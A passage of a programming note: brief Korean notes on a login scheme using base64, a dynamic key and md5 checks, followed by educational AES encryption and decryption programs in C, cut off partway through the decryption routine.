이 때, 동적 키 값의 일부를 같이 보낸다.(얼마나 보낼지가....)


서버에서 base64 디코딩한 id, pw를 파싱해 복호화한 값을 php에서 처리해 인증한다.


인증에 문제가 없으면, 동적 키값과 다른 정보를 조합한 md5값을 보낸다.


클라이언트에서는 역시 동적 키 값과 다른 정보가 조합된 md5값을 비교한다.


http://comp.ist.utl.pt/ec-csc/Code/Ciphers/




/*

******************************************************************

**       Advanced Encryption Standard implementation in C.      **

**       By Niyaz PK                                            **

**       E-mail: niyazlife@gmail.com                            **

**       Downloaded from Website: www.hoozi.com                 **

******************************************************************

This is the source code for encryption using the latest AES algorithm.

AES algorithm is also called Rijndael algorithm. AES algorithm is 

recommended for non-classified by the National Institute of Standards 

and Technology(NIST), USA. Now-a-days AES is being used for almost 

all encryption applications all around the world.


THE MAIN FEATURE OF THIS AES ENCRYPTION PROGRAM IS NOT EFFICIENCY; IT

IS SIMPLICITY AND READABILITY. THIS SOURCE CODE IS PROVIDED FOR ALL

TO UNDERSTAND THE AES ALGORITHM.


Comments are provided as needed to understand the program. But the 

user must read some AES documentation to understand the underlying 

theory correctly.


It is not possible to describe the complete AES algorithm in detail 

here. For the complete description of the algorithm, point your 

browser to:

http://www.csrc.nist.gov/publications/fips/fips197/fips-197.pdf


Find the Wikipedia page of AES at:

http://en.wikipedia.org/wiki/Advanced_Encryption_Standard

******************************************************************

*/


// Include stdio.h for standard input/output.

// Used for giving output to the screen.

#include<stdio.h>

#include<iostream>

#include<fstream>

#include<stdlib.h>


// The number of columns comprising a state in AES. This is a constant in AES. Value=4

#define Nb 4


// The number of rounds in AES Cipher. It is simply initiated to zero. The actual value is recieved in the program.

int Nr=0;


// The number of 32 bit words in the key. It is simply initiated to zero. The actual value is recieved in the program.

int Nk=0;


// in - it is the array that holds the plain text to be encrypted.

// out - it is the array that holds the key for encryption.

// state - the array that holds the intermediate results during encryption.

unsigned char in[16], out[16], state[4][4];


// The array that stores the round keys.

unsigned char RoundKey[240];


// The Key input to the AES Program

unsigned char Key[32];


int getSBoxValue(int num)

{

int sbox[256] =   {

//0     1    2      3     4    5     6     7      8    9     A      B    C     D     E     F

0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, //0

0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, //1

0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, //2

0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, //3

0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, //4

0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, //5

0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, //6

0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, //7

0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, //8

0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, //9

0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, //A

0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, //B

0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, //C

0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, //D

0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, //E

0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; //F

return sbox[num];

}


// The round constant word array, Rcon[i], contains the values given by 

// x to th e power (i-1) being powers of x (x is denoted as {02}) in the field GF(28)

// Note that i starts at 1, not 0).

int Rcon[255] = {

0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 

0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 

0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 

0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 

0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 

0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 

0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 

0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 

0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 

0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 

0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 

0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 

0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 

0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 

0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 

0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb  };


// This function produces Nb(Nr+1) round keys. The round keys are used in each round to encrypt the states. 

void KeyExpansion()

{

int i,j;

unsigned char temp[4],k;

// The first round key is the key itself.

for(i=0;i<Nk;i++)

{

RoundKey[i*4]=Key[i*4];

RoundKey[i*4+1]=Key[i*4+1];

RoundKey[i*4+2]=Key[i*4+2];

RoundKey[i*4+3]=Key[i*4+3];

}


// All other round keys are found from the previous round keys.

while (i < (Nb * (Nr+1)))

{

for(j=0;j<4;j++)

{

temp[j]=RoundKey[(i-1) * 4 + j];

}

if (i % Nk == 0)

{

// This function rotates the 4 bytes in a word to the left once.

// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]


// Function RotWord()

{

k = temp[0];

temp[0] = temp[1];

temp[1] = temp[2];

temp[2] = temp[3];

temp[3] = k;

}


// SubWord() is a function that takes a four-byte input word and 

// applies the S-box to each of the four bytes to produce an output word.


// Function Subword()

{

temp[0]=getSBoxValue(temp[0]);

temp[1]=getSBoxValue(temp[1]);

temp[2]=getSBoxValue(temp[2]);

temp[3]=getSBoxValue(temp[3]);

}


temp[0] =  temp[0] ^ Rcon[i/Nk];

}

else if (Nk > 6 && i % Nk == 4)

{

// Function Subword()

{

temp[0]=getSBoxValue(temp[0]);

temp[1]=getSBoxValue(temp[1]);

temp[2]=getSBoxValue(temp[2]);

temp[3]=getSBoxValue(temp[3]);

}

}

RoundKey[i*4+0] = RoundKey[(i-Nk)*4+0] ^ temp[0];

RoundKey[i*4+1] = RoundKey[(i-Nk)*4+1] ^ temp[1];

RoundKey[i*4+2] = RoundKey[(i-Nk)*4+2] ^ temp[2];

RoundKey[i*4+3] = RoundKey[(i-Nk)*4+3] ^ temp[3];

i++;

}

}


// This function adds the round key to state.

// The round key is added to the state by an XOR function.

void AddRoundKey(int round) 

{

int i,j;

for(i=0;i<4;i++)

{

for(j=0;j<4;j++)

{

state[j][i] ^= RoundKey[round * Nb * 4 + i * Nb + j];

}

}

}


// The SubBytes Function Substitutes the values in the

// state matrix with values in an S-box.

void SubBytes()

{

int i,j;

for(i=0;i<4;i++)

{

for(j=0;j<4;j++)

{

state[i][j] = getSBoxValue(state[i][j]);


}

}

}


// The ShiftRows() function shifts the rows in the state to the left.

// Each row is shifted with different offset.

// Offset = Row number. So the first row is not shifted.

void ShiftRows()

{

unsigned char temp;


// Rotate first row 1 columns to left

temp=state[1][0];

state[1][0]=state[1][1];

state[1][1]=state[1][2];

state[1][2]=state[1][3];

state[1][3]=temp;


// Rotate second row 2 columns to left

temp=state[2][0];

state[2][0]=state[2][2];

state[2][2]=temp;


temp=state[2][1];

state[2][1]=state[2][3];

state[2][3]=temp;


// Rotate third row 3 columns to left

temp=state[3][0];

state[3][0]=state[3][3];

state[3][3]=state[3][2];

state[3][2]=state[3][1];

state[3][1]=temp;

}


// xtime is a macro that finds the product of {02} and the argument to xtime modulo {1b}  

#define xtime(x)   ((x<<1) ^ (((x>>7) & 1) * 0x1b))


// MixColumns function mixes the columns of the state matrix

void MixColumns()

{

int i;

unsigned char Tmp,Tm,t;

for(i=0;i<4;i++)

{

t=state[0][i];

Tmp = state[0][i] ^ state[1][i] ^ state[2][i] ^ state[3][i] ;

Tm = state[0][i] ^ state[1][i] ; Tm = xtime(Tm); state[0][i] ^= Tm ^ Tmp ;

Tm = state[1][i] ^ state[2][i] ; Tm = xtime(Tm); state[1][i] ^= Tm ^ Tmp ;

Tm = state[2][i] ^ state[3][i] ; Tm = xtime(Tm); state[2][i] ^= Tm ^ Tmp ;

Tm = state[3][i] ^ t ; Tm = xtime(Tm); state[3][i] ^= Tm ^ Tmp ;

}

}


// Cipher is the main function that encrypts the PlainText.

void Cipher()

{

int i,j,round=0;


//Copy the input PlainText to state array.

for(i=0;i<4;i++)

{

for(j=0;j<4;j++)

{

state[j][i] = in[i*4 + j];

}

}


// Add the First round key to the state before starting the rounds.

AddRoundKey(0); 

// There will be Nr rounds.

// The first Nr-1 rounds are identical.

// These Nr-1 rounds are executed in the loop below.

for(round=1;round<Nr;round++)

{

SubBytes();

ShiftRows();

MixColumns();

AddRoundKey(round);

}

// The last round is given below.

// The MixColumns function is not here in the last round.

SubBytes();

ShiftRows();

AddRoundKey(Nr);


// The encryption process is over.

// Copy the state array to output array.

for(i=0;i<4;i++)

{

for(j=0;j<4;j++)

{

out[i*4+j]=state[j][i];

}

}

}

int main()

{

int i;


// Recieve the length of key here.

while(Nr!=128 && Nr!=192 && Nr!=256)

{

printf("Enter the length of Key(128, 192 or 256 only): ");

scanf("%d",&Nr);

}

// Calculate Nk and Nr from the recieved value.

Nk = Nr / 32;

Nr = Nk + 6;




// Part 1 is for demonstrative purpose. The key and plaintext are given in the program itself.

// Part 1: ********************************************************

// The array temp stores the key.

// The array temp2 stores the plaintext.

unsigned char temp[32] = {0x00  ,0x01  ,0x02  ,0x03  ,0x04  ,0x05  ,0x06  ,0x07  ,0x08  ,0x09  ,0x0a  ,0x0b  ,0x0c  ,0x0d  ,0x0e  ,0x0f};

unsigned char temp2[32]= {0x00  ,0x11  ,0x22  ,0x33  ,0x44  ,0x55  ,0x66  ,0x77  ,0x88  ,0x99  ,0xaa  ,0xbb  ,0xcc  ,0xdd  ,0xee  ,0xff};

// Copy the Key and PlainText

for(i=0;i<Nk*4;i++)

{

Key[i]=temp[i];

in[i]=temp2[i];

}


//       *********************************************************





// Uncomment Part 2 if you need to read key and plaintext from the keyboard.

// Part 2: ********************************************************

/*

//Clear the input buffer

flushall();


//Recieve the key from the user

printf("Enter the Key in hexadecimal: ");

for(i=0;i<Nk*4;i++)

{

scanf("%x",&Key[i]);

}

*/

printf("Enter the PlainText in hexadecimal: ");

for(i=0;i<Nb*4;i++)

{

scanf("%x",&in[i]);

}


//        ********************************************************



// The KeyExpansion routine must be called before encryption.

KeyExpansion();


// The next function call encrypts the PlainText with the Key using AES algorithm.

Cipher();


// Output the encrypted text.

printf("nText after encryption:n");

for(i=0;i<Nb*4;i++)

{

printf("%02x ",out[i]);

}

printf("nn");

}






/*
******************************************************************
**       Advanced Encryption Standard implementation in C.      **
**       By Niyaz PK                                            **
**       E-mail: niyazlife@gmail.com                            **
**       Downloaded from Website: www.hoozi.com                 **
******************************************************************
This is the source code for decryption using the latest AES algorithm.
AES algorithm is also called Rijndael algorithm. AES algorithm is 
recommended for non-classified use by the National Institute of Standards 
and Technology(NIST), USA. Now-a-days AES is being used for almost 
all encryption applications all around the world.

THE MAIN FEATURE OF THIS AES ENCRYPTION PROGRAM IS NOT EFFICIENCY; IT
IS SIMPLICITY AND READABILITY. THIS SOURCE CODE IS PROVIDED FOR ALL
TO UNDERSTAND THE AES ALGORITHM.

Comments are provided as needed to understand the program. But the 
user must read some AES documentation to understand the underlying 
theory correctly.

It is not possible to describe the complete AES algorithm in detail 
here. For the complete description of the algorithm, point your 
browser to:
http://www.csrc.nist.gov/publications/fips/fips197/fips-197.pdf

Find the Wikipedia page of AES at:
http://en.wikipedia.org/wiki/Advanced_Encryption_Standard
******************************************************************
*/

// Include stdio.h for standard input/output.
// Used for giving output to the screen.
#include<stdio.h>

// The number of columns comprising a state in AES. This is a constant in AES. Value=4
#define Nb 4

// The number of rounds in AES Cipher. It is simply initiated to zero. The actual value is recieved in the program.
int Nr=0;

// The number of 32 bit words in the key. It is simply initiated to zero. The actual value is recieved in the program.
int Nk=0;

// in - it is the array that holds the CipherText to be decrypted.
// out - it is the array that holds the output of the for decryption.
// state - the array that holds the intermediate results during decryption.
unsigned char in[16], out[16], state[4][4];

// The array that stores the round keys.
unsigned char RoundKey[240];

// The Key input to the AES Program
unsigned char Key[32];

int getSBoxInvert(int num)
{
int rsbox[256] =
{ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb
, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb
, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e
, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25
, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92
, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84
, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06
, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b
, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73
, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e
, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b
, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4
, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f
, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef
, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61
, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };

return rsbox[num];
}

int getSBoxValue(int num)
{
	int sbox[256] =   {
	//0     1    2      3     4    5     6     7      8    9     A      B    C     D     E     F
	0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
	0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
	0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
	0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
	0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
	0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
	0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
	0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
	0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
	0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
	0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
	0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
	0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
	0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
	0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
	0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 };
	return sbox[num];
}

// The round constant word array, Rcon[i], contains the values given by 
// x to th e power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8)
// Note that i starts at 1, not 0).
int Rcon[255] = {
	0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 
	0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 
	0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 
	0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 
	0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 
	0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 
	0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 
	0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 
	0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 
	0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 
	0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 
	0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 
	0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 
	0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 
	0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 
	0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb  };

// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states. 
void KeyExpansion()
{
	int i,j;
	unsigned char temp[4],k;
	
	// The first round key is the key itself.
	for(i=0;i<Nk;i++)
	{
		RoundKey[i*4]=Key[i*4];
		RoundKey[i*4+1]=Key[i*4+1];
		RoundKey[i*4+2]=Key[i*4+2];
		RoundKey[i*4+3]=Key[i*4+3];
	}

	// All other round keys are found from the previous round keys.
	while (i < (Nb * (Nr+1)))
	{
		for(j=0;j<4;j++)
		{
			temp[j]=RoundKey[(i-1) * 4 + j];
		}
		if (i % Nk == 0)
		{
			// This function rotates the 4 bytes in a word to the left once.
			// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]

			// Function RotWord()
			{
				k = temp[0];
				temp[0] = temp[1];
				temp[1] = temp[2];
				temp[2] = temp[3];
				temp[3] = k;
			}

			// SubWord() is a function that takes a four-byte input word and 
			// applies the S-box to each of the four bytes to produce an output word.

			// Function Subword()
			{
				temp[0]=getSBoxValue(temp[0]);
				temp[1]=getSBoxValue(temp[1]);
				temp[2]=getSBoxValue(temp[2]);
				temp[3]=getSBoxValue(temp[3]);
			}

			temp[0] =  temp[0] ^ Rcon[i/Nk];
		}
		else if (Nk > 6 && i % Nk == 4)
		{
			// Function Subword()
			{
				temp[0]=getSBoxValue(temp[0]);
				temp[1]=getSBoxValue(temp[1]);
				temp[2]=getSBoxValue(temp[2]);
				temp[3]=getSBoxValue(temp[3]);
			}
		}
		RoundKey[i*4+0] = RoundKey[(i-Nk)*4+0] ^ temp[0];
		RoundKey[i*4+1] = RoundKey[(i-Nk)*4+1] ^ temp[1];
		RoundKey[i*4+2] = RoundKey[(i-Nk)*4+2] ^ temp[2];
		RoundKey[i*4+3] = RoundKey[(i-Nk)*4+3] ^ temp[3];
		i++;
	}
}

// This function adds the round key to state.
// The round key is added to the state by an XOR function.
void AddRoundKey(int round) 
{
	int i,j;
	for(i=0;i<4;i++)
	{
		for(j=0;j<4;j++)
		{
			state[j][i] ^= RoundKey[round * Nb * 4 + i * Nb + j];
		}
	}
}

// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
void InvSubBytes()
{
	int i,j;
	for(i=0;i<4;i++)
	{
		for(j=0;j<4;j++)
		{
			state[i][j] = getSBoxInvert(state[i][j]);

		}
	}
}

// The ShiftRows() function shifts the rows in the state to the left.
// Each row is shifted with different offset.
// Offset = Row number. So the first row is not shifted.
void InvShiftRows()
{
	unsigned char temp;

	// Rotate first row 1 columns to right	
	temp=state[1][3];
	state[1][3]=state[1][2];
	state[1][2]=state[1][1];
	state[1][1]=state[1][0];
	state[1][0]=temp;

	// Rotate second row 2 columns to right	
	temp=state[2][0];
	state[2][0]=state[2][2];
	state[2][2]=temp;

	temp=state[2][1];
	state[2][1]=state[2][3];
	state[2][3]=temp;

	// Rotate third row 3 columns to right
	temp=state[3][0];
	state[3][0]=state[3][1];
	state[3][1]=state[3][2];
	state[3][2]=state[3][3];
	state[3][3]=temp;
}

// xtime is a macro that finds the product of {02} and the argument to xtime modulo {1b}  
#define xtime(x)   ((x<<1) ^ (((x>>7) & 1) * 0x1b))

// Multiplty is a macro used to multiply numbers in the field GF(2^8)
#define Multiply(x,y) (((y & 1) * x) ^ ((y>>1 & 1) * xtime(x)) ^ ((y>>2 & 1) * xtime(xtime(x))) ^ ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ ((y>>4 & 1) * xtime(xtime(xtime(xtime(x))))))

// MixColumns function mixes the columns of the state matrix.
// The method used to multiply may be difficult to understand for the inexperienced.
// Please use the references to gain more information.
void InvMixColumns()
{
	int i;
	unsigned char a,b,c,d;
	for(i=0;i<4;i++)
	{	
	
		a = state[0][i];
		b = state[1][i];
		c = state[2][i];
		d = state[3][i];

		
		state[0][i] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
		state[1][i] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
		state[2][i] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
		state[3][i] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
	}
}

// InvCipher is the main function that decrypts the CipherText.
void InvCipher()
{
	int i,j,round=0;

	//Copy the input CipherText to state array.
	for(i=0;i<4;i++)
	{
		for(j=0;j<4;j++)
		{
			state[j][i] = in[i*4 + j];
		}
	}

	// Add the First round key to the state before starting the rounds.
	AddRoundKey(Nr); 

	// There will be Nr rounds.
	// The first Nr-1 rounds are identical.
	// These Nr-1 rounds are executed in the loop below.
	for(round=Nr-1;round>0;round--)
	{
		InvShiftRows();
		InvSubBytes();
		AddRoundKey(round);
		InvMixColumns();
	}
	
	// The last round is given below.
	// The MixColumns function is not here in the last round.
	InvShiftRows();
	InvSubBytes();
	AddRoundKey(0);

	// The decryption process is over.
	// Copy the state array to output array.
	for(i=0;i<4;i++)
	{
		for(j=0;j<4;j++)
		{
